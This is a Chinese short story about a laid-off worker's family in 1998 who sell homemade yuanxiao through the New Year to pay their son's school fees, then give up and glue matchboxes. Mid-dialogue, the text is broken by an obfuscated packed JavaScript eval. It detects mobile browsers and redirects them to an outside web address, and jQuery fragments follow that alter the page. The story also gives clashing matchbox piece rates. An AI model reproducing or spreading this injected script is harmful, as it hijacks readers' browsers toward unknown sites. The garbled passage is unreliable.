腊月二十三那雪，下得跟筛面粉似的，细细密密，从破了口的天上往下漏。友谊罐头厂那烟囱还冒着黄烟，把雪片子熏得跟旧棉袄里掏出的棉絮一个色儿。姚建国蹲在院里推磨——磨是借隔壁修鞋老赵的，死沉，推三圈就得喘，白气儿从嘴里出来，“呼”一下，没了，跟从来没喘过那口气似的。
屋里刺啦刺啦响，是铲子刮锅底。张玉芬在炒馅，红糖熬得稠糊糊，裹着芝麻核桃，在铁锅里翻滚。那香味从门缝挤出来，混着院里的雪腥气，让姚建国忽然想起他妈——老太太活着时，总往豆馅里掐一撮桂花。那年月桂花金贵，如今胡同拆了，桂花也只剩鼻子记得。
“添水。”张玉芬在窗户里说，一个字，跟吐瓜子皮似的。
姚建国往磨眼里舀水。井水扎手，溅到腕子上，激得他一哆嗦。接着推，石磨响得闷，像有个咳嗽的人藏在木头里。米浆从磨缝渗出来，慢慢流进桶里，稠得能挂住勺把子。
一九九八年了。街角宣传栏贴着新标语，“下岗再就业”五个字红得晃眼。旁边罐头厂的旧广告，黄不拉几，像上个世纪留下的饭痂。姚建国认字不多，但“下岗”俩字他熟——红皮小本压在箱底，挨着结婚证，都是红的。一个红是开头，一个红像是句号。
磨完最后一勺米，天黑透了。姚建国站起来，腿麻得像有千万只蚂蚁在血管里开会。提桶进屋，米浆在桶壁上留下痕，黏糊糊的，像眼泪干了没擦净。
屋里比外头还冷。炉子没生，张玉芬说等睡觉再点，省煤。她在案板上切馅，黑方块码得齐整，跟缩小了的墓碑似的。姚华写作业，铅笔短得快捏不住了，套个纸筒接着写，手指冻得发紫。
“明儿找副食店王会计借几个笸箩。”张玉芬说，手里的刀没停。
“嗯。”
“说好了，一天五块。”
姚建国从怀里掏钱，一张张数，五张一块的。票子皱得像腌过的白菜帮子，还带着他的体温。张玉芬接过，别在内衣兜里，拍了拍——拍的是兜，也是那几张票子。
夜里雪大了。姚建国躺炕上，听见树枝被雪压断的声儿，咔嚓，咔嚓，像什么小骨头在暗处折。想起去年元宵节，他们卖出去三百多个，挣了六十块。那天他买了瓶直沽高粱，张玉芬没拦，还给炒了盘鸡蛋。酒喝到一半，姚华掏出成绩单，语文九十五，数学一百。孩子把纸压在酒瓶底下，说：“等我考上铁一中学……”
后来酒醒了，成绩单被酒渍洇透，红墨水化开一片，像血。
天没亮姚建国就出了门。副食店没开，他在雪地里站了半个钟头，脚冻得没知觉了。王会计骑自行车来，后架子上挂着几个卖馒头用的大笸箩——半旧不新，边儿都磨亮了。
“使完了还我，”王会计说，“这玩意儿现在不好找。”
姚建国点头，把笸箩捆在三轮车上。车是借老李的，车胎补过三回，鼓着三个疤，像得了天花的屁股。
回家，炉子生上了。窗上的冰花化了一道，水淌下来，在窗台上冻成冰溜子。姚建国把笸箩摆开，张玉芬已经和好了糯米粉，雪白一堆，像个小雪山。
“开始吧。”张玉芬说。
头一道是蘸水。姚华用笊篱捞馅块，水里过一下，倒进笸箩。笸箩底铺了层薄粉，馅块落进去，噗噗响，像雨点掉进灰堆里。
姚建国摇笸箩。他两手抓住边沿，前后晃。才晃了两下，胳膊就酸了。那笸箩死沉，馅块在里头滚得慢，沾粉也不匀。他咬咬牙，又晃了十来下，汗出来了。
“算了，我来。”张玉芬接过笸箩。
她力气大，晃得笸箩哗啦哗啦响，馅块在粉里翻滚，慢慢裹上第一层白。可这是力气活，干了半个钟头，她胳膊也抬不起来了。第一锅出来，元宵大小不一，有的地方还露着黑馅。
“这么干不行，”张玉芬盯着那些歪瓜裂枣的元宵，“得想个法子。”
那天卖得不多。二百多个，挣了四十来块。回家路上，三轮车蹬得吃力，上坡时姚建国下来推，张玉芬在后面帮着推，谁也不说话。
夜里，张玉芬没睡。她坐在炕沿上，盯着墙角的笸箩看，看了足足一个钟头。姚建国说睡吧，她不吭声。后来她突然站起来，翻箱倒柜找出四个旧轴承——不知道哪年从厂里带回来的，都锈了。
“有钉子和锤子没？”她问。
姚建国找来工具。张玉芬把笸箩倒扣，在四个角下面各钉上一个轴承。钉完了，她把笸箩翻过来，放在桌上，轻轻一推——笸箩顺着轴承滑出去老远，又滑回来，轻快得像抹了油。
“成了。”她说，脸上有了点儿笑模样。
第二天试新法子。笸箩底下有轴承，前后一晃，哗啦啦，馅块在粉里滚得欢实，均匀，省力。姚建国晃了几下，确实轻快多了。张玉芬说：“你就管这个，我管煮和卖。”
姚建国心里有点儿愧，但胳膊是真酸，也就应了。
这天挪到金刚桥下。风顺着河面刮过来，割脸。张玉芬用铁皮围住炉子，姚建国摇笸箩。有了轴承，摇起来吱呀呀响，像唱歌。元宵越滚越圆，白胖白胖的，在笸箩里跳。
生意来了。过年的人们匆匆走过，看见热气就停脚。有买的，有看的。张玉芬煮元宵，一次三十个，哪个先下哪个后下，记得清清楚楚。姚华照看炉火，添煤，压火。
姚建国摇笸箩，摇得胳膊有节奏地酸。他看着笸箩里的元宵，从黑疙瘩变成白圆球，一个接一个，像变戏法。这活儿单调，但看成果，心里踏实。
中午卖了一半。钱盒里票子多了，姚建国趁空数了数，八十七块五。他算成本：糯米二十斤十八块，糖和馅二十五，煤五块，借笸箩五块，摊位费还没交。净赚三十来块。
三十块，是他在货场拉六车棉纱的钱。这么一想，摇笸箩也不算累了。
下午来了个大主顾，单位福利，要两百个生的。姚建国收钱，手有点抖——这辈子没经手过这么多整票子。年轻夫妻的摊子在旁边，冷冷清清。他们卖四毛，但馅少，个头小。女的开始吆喝，没什么用。男的瞪了姚建国一眼，眼神跟刀子似的。
姚建国低下头数钱。他从来不想惹事，但笸箩底下那四个轴承，让他觉得腰杆硬了点儿。
傍晚飘雪。路灯亮了，雪花在光里飞，像扑火的蛾子。收摊时，张玉芬倒锅里的汤，在雪地上浇出个黑窟窿。
回到家累瘫了。数钱，二百七十三块八毛五。
“这么多？”姚华眼亮了。
张玉芬笑了，笑得很轻，但真切。“明天多做。”
第二天做七百个。馅不够，姚建国跑去买糖，红糖涨价了。他咬牙买了十斤。
这天还在桥下。风大，炉火忽明忽灭。姚建国摇笸箩，手冻僵了，但笸箩晃得顺溜。七百个，下午四点卖光。有个男人没买到，失望，张玉芬说：“明儿还来，给您留着。”
回家数钱，三百八十九块二。张玉芬一笔笔记账，最后算出净赚一百一十七块。
“照这样，干到正月十五，能挣一千。”她说。
一千。姚建国想不出一千块钱摞起来多厚。他只晓得，姚华的赞助费，铁一中三千块，能凑上些了。
夜里他梦见摇笸箩。笸箩越变越大，变成个磨盘，他推着转，转不完。元宵从天上掉，砸在头上，生疼。
腊月二十八，做了八百个。这天冷得邪乎，零下十五度，锅开得慢，元宵煮破了几个。张玉芬捞出来自己吃，甜的，进嘴却发苦。
摊位费涨到十五。年轻夫妻不干了，三轮车坏了，推回家时哭丧着脸。张玉芬看着，心里揪了一下。收摊时，她偷偷往他们车把上挂了十个元宵。
姚华坐炉子边写作业，手冻得通红。他说这儿暖和，其实是看着——看父母摇元宵时专注的脸，收钱时小心翼翼的手。
年三十没出摊。包了饺子，白菜猪肉馅，肉少，但总是肉的。姚建国弄了挂鞭炮，一千响，在院里放了，噼里啪啦，炸出一地红纸屑。
吃饺子时，姚华说：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119413|195947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈，等我长大挣钱，你们就不用受累了。”
张玉芬的眼泪掉进碗里。姚建国没说话，摸了摸儿子的头。手糙，但落得轻。
春晚唱《常回家看看》，张玉芬跟着哼，哼着哼着哭了。姚建国看着她哭，突然觉得，要是天天都能挣一百多，让她哭一哭也值。
可他不知道，好日子就像年三十的鞭炮，响得热闹，转眼只剩一地纸屑。
正月初六，出事了。
糯米不够，粮店卖完了。姚建国跑了五个粮店，最后在一个叫“菜道”的批发市场买到，价翻了一倍。糖也涨，青红丝断货。成本噌噌涨，元宵不敢涨价——一涨，客就跑了。
别的摊子也多起来。初六那天，中山路上冒出四个卖元宵的。竞争狠了，有人卖四毛五，有人卖四毛，还有个卖三毛五的，用的是陈年糯米，煮出来黄不拉几。
张玉芬坚持卖五毛。“咱的货真。”她说。可图便宜的人越来越多。初七只卖了四百个，剩下的送邻居，邻居也腻了，婉拒。
初八下雪，没人出门。在桥下守了一天，只卖出六十个。傍晚收摊，张玉芬看着锅里剩的元宵，突然说：“不干了。”
姚建国一愣：“啥？”
“不干了，”张玉芬重复，“赔钱。”
“可还差一千多……”
“差多少也不能赔着干。”
姚建国张了张嘴，话卡在喉咙里。他看着张玉芬收拾东西，动作快，决绝。他帮不上忙，只能站着，雪落了一身。
元宵生意到此为止。统共干了十四天，净赚八百二十七块六毛三。加上之前攒的，还差一千二。姚建国算这个数，用的是姚华作业本背面，铅笔写的，写错了用橡皮擦，纸破了，数字从破洞里露出来。
正月十五，元宵节。别人家吃元宵，姚建国家吃剩饭。那些没卖出去的煮了一部分，吃不完，放着，第二天就裂了。张玉芬把坏的扔了，好的冻上，说慢慢吃。可谁也不想吃，看见元宵就反胃。
夜里姚建国一个人出门。走到金刚桥下，空荡荡的，只有雪和风。他蹲在他们摆过摊的地方，地上还有炉灰的印子，黑乎乎的。他用手摸了摸，灰是冷的。
远处有人在放烟花，红的绿的，在空中绽开，又灭。桥下的海河结了冰，冰面上反着光，一闪一闪。
姚建国想起摇笸箩的响声，吱呀呀，像老座钟在走。想起张玉芬被热气熏红的侧脸。想起姚华数钱时亮晶晶的眼睛。这些画面现在都冷了。
他从怀里掏出小扁瓶，酒剩个底儿，一口闷了，辣得咳嗽起来，咳出了眼泪。
泪是热的，但很快就被风吹冷了，在脸上结成冰碴子。
回家时张玉芬还没睡。她在糊火柴盒，桌上堆了一大摞。糊一个半分钱，得糊两千个才挣一块。灯下，她的背影弯着。
姚建国在门口看了很久，走过去坐下，拿起一个火柴盒，学着糊。手笨，糨糊抹得到处都是。张玉芬没看他，也没说话，只是默默地糊，一个，又一个。
姚华从里屋出来，看见父母都在糊火柴盒，愣了一下，也坐下，拿起一个。他不会，但学得快。
三个人，围着一盏十五瓦的灯泡，糊火柴盒。屋里很静，只有刷糨糊的声音，唰，唰，唰。窗外，烟花还在放，隐约的爆裂声传来。
糊到第一百个时，姚建国突然说：“明年……明年咱们早点备料……”
张玉芬没抬头：“明年再说吧。”
“一定能行……”
“睡吧。”
姚建国不再说了。他知道，有些事就像这火柴盒，糊得再好，也只是一分钱两个。糊四千个才挣一块，而他们需要一千二，得糊四百八十万个火柴盒。
这个数太大了，大到他想都不敢想。
他继续糊，手渐渐熟了。可他晓得，这没用。他糊得再快，也快不过时间，快不过生活这只更大的手。
夜深了，烟花停了。世界重归寂静，只剩糊火柴盒的声音，唰，唰，唰。